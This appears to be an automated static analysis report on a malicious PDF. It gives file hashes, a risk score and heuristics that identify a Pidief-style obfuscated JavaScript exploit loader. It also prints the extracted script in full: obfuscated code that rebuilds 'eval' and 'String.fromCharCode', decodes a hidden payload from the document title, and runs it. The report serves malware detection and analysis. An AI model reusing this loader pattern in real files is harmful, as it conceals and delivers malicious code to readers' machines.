Malicious PDF — malware analysis report

Static analysis result for SHA-256 3c2b9edac43e74e8…

MALICIOUS

PDF

44.5 KB First seen: 2013-08-12
MD5: 5c5d71065b69dfe58c61a9ac3b992d83 SHA-1: e0f3c49c085505d1cec2f639afa95894232e1326 SHA-256: 3c2b9edac43e74e8c93a1ff33694fd4816ffd86e37bc0442ac33110dc40017e9
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF1C 474 bytes
SHA-256: 1a395172c99d6b05f8ac38d875b8d1a1551516b2dfcfdef4266499be2ef89bfe
Preview script
First 1,000 lines of the extracted script
mkm='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
tvxh=e('ti'+'tle');
s=tvxh.substr(t.length + 8,3)+'str';
q=tvxh[s](1,(1,9));
kpjub=e('S'+'tring.fro'+q);
q=tvxh[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	hiyxf = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	mkm += kpjub(hiyxf);
}
e(mkm);

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